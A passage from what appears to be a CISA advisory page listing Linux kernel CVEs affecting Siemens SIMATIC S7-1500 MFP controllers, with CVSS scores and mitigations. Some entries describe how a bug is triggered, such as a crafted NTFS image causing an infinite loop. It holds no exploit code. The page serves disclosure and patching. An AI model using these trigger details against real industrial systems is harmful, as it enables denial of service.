handle_domain_irq+0xa4/0xe0 [ 337.427640] gic_handle_irq+0x64/0x160 [ 337.427644] call_on_irq_stack+0x20/0x4c [ 337.427649] do_interrupt_handler+0x7c/0x90 [ 337.427654] el1_interrupt+0x30/0x80 [ 337.427659] el1h_64_irq_handler+0x18/0x30 [ 337.427663] el1h_64_irq+0x7c/0x80 [ 337.427667] cpuidle_enter_state+0xe4/0x540 [ 337.427674] cpuidle_enter+0x54/0x80 [ 337.427679] do_idle+0x2e0/0x380 [ 337.427685] cpu_startup_entry+0x2c/0x70 [ 337.427690] rest_init+0x114/0x130 [ 337.427695] arch_call_rest_init+0x18/0x24 [ 337.427702] start_kernel+0x380/0x3b4 [ 337.427706] __primary_switched+0xc0/0xc8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71162">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71163</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: fix device leaks on compat bind and unbind Make sure to drop the reference taken when looking up the idxd device as part of the compat bind and unbind sysfs interface.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71163">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71185</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: ti: dma-crossbar: fix device leak on am335x route allocation Make sure to drop the reference taken when looking up the crossbar platform device during am335x route allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71185">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71186</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: stm32: dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71186">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71189</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw: dmamux: fix OF node leak on route allocation failure Make sure to drop the reference taken to the DMA master OF node also on late route allocation failures.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71189">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71190</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: bcm-sba-raid: fix device leak on probe Make sure to drop the reference taken when looking up the mailbox device during probe on probe failures and on driver unbind.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71190">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71191</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: at_hdmac: fix device leak on of_dma_xlate() Make sure to drop the reference taken when looking up the DMA platform device during of_dma_xlate() when releasing channel resources. Note that commit 3832b78b3ec2 ("dmaengine: at_hdmac: add missing put_device() call in at_dma_xlate()") fixed the leak in a couple of error paths but the reference is still leaking on successful allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71191">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71197</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: w1: therm: Fix off-by-one buffer overflow in alarms_store The sysfs buffer passed to alarms_store() is allocated with 'size + 1' bytes and a NUL terminator is appended. However, the 'size' argument does not account for this extra byte. The original code then allocated 'size' bytes and used strcpy() to copy 'buf', which always writes one byte past the allocated buffer since strcpy() copies until the NUL terminator at index 'size'. Fix this by parsing the 'buf' parameter directly using simple_strtoll() without allocating any intermediate memory or string copying. This removes the overflow while simplifying the code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71197">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71221</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: mmp_pdma: Fix race condition in mmp_pdma_residue() Add proper locking in mmp_pdma_residue() to prevent use-after-free when accessing descriptor list and descriptor contents. The race occurs when multiple threads call tx_status() while the tasklet on another CPU is freeing completed descriptors: CPU 0 CPU 1 ----- ----- mmp_pdma_tx_status() mmp_pdma_residue() -&gt; NO LOCK held list_for_each_entry(sw, ..) DMA interrupt dma_do_tasklet() -&gt; spin_lock(&amp;desc_lock) list_move(sw-&gt;node, ...) spin_unlock(&amp;desc_lock) | dma_pool_free(sw) &lt;- FREED! -&gt; access sw-&gt;desc &lt;- UAF! This issue can be reproduced when running dmatest on the same channel with multiple threads (threads_per_chan &gt; 1). Fix by protecting the chain_running list iteration and descriptor access with the chan-&gt;desc_lock spinlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71221">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71265</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop in attr_load_runs_range on inconsistent metadata We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an attribute header indicates an empty run list, while directory entries reference it as containing actual data. In NTFS, setting evcn=-1 with svcn=0 is a valid way to represent an empty run list, and run_unpack() correctly handles this by checking if evcn + 1 equals svcn and returning early without parsing any run data. However, this creates a problem when there is metadata inconsistency, where the attribute header claims to be empty (evcn=-1) but the caller expects to read actual data. When run_unpack() immediately returns success upon seeing this condition, it leaves the runs_tree uninitialized with run-&gt;runs as a NULL. The calling function attr_load_runs_range() assumes that a successful return means that the runs were loaded and sets clen to 0, expecting the next run_lookup_entry() call to succeed. Because runs_tree remains uninitialized, run_lookup_entry() continues to fail, and the loop increments vcn by zero (vcn += 0), leading to an infinite loop. This patch adds a retry counter to detect when run_lookup_entry() fails consecutively after attr_load_runs_vcn(). If the run is still not found on the second attempt, it indicates corrupted metadata and returns -EINVAL, preventing the Denial-of-Service (DoS) vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71265">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71266</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: check return value of indx_find to avoid infinite loop We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed dentry in the ntfs3 filesystem can cause the kernel to hang during the lookup operations. By setting the HAS_SUB_NODE flag in an INDEX_ENTRY within a directory's INDEX_ALLOCATION block and manipulating the VCN pointer, an attacker can cause the indx_find() function to repeatedly read the same block, allocating 4 KB of memory each time. The kernel lacks VCN loop detection and depth limits, causing memory exhaustion and an OOM crash. This patch adds a return value check for fnd_push() to prevent a memory exhaustion vulnerability caused by infinite loops. When the index exceeds the size of the fnd-&gt;nodes array, fnd_push() returns -EINVAL. The indx_find() function checks this return value and stops processing, preventing further memory allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
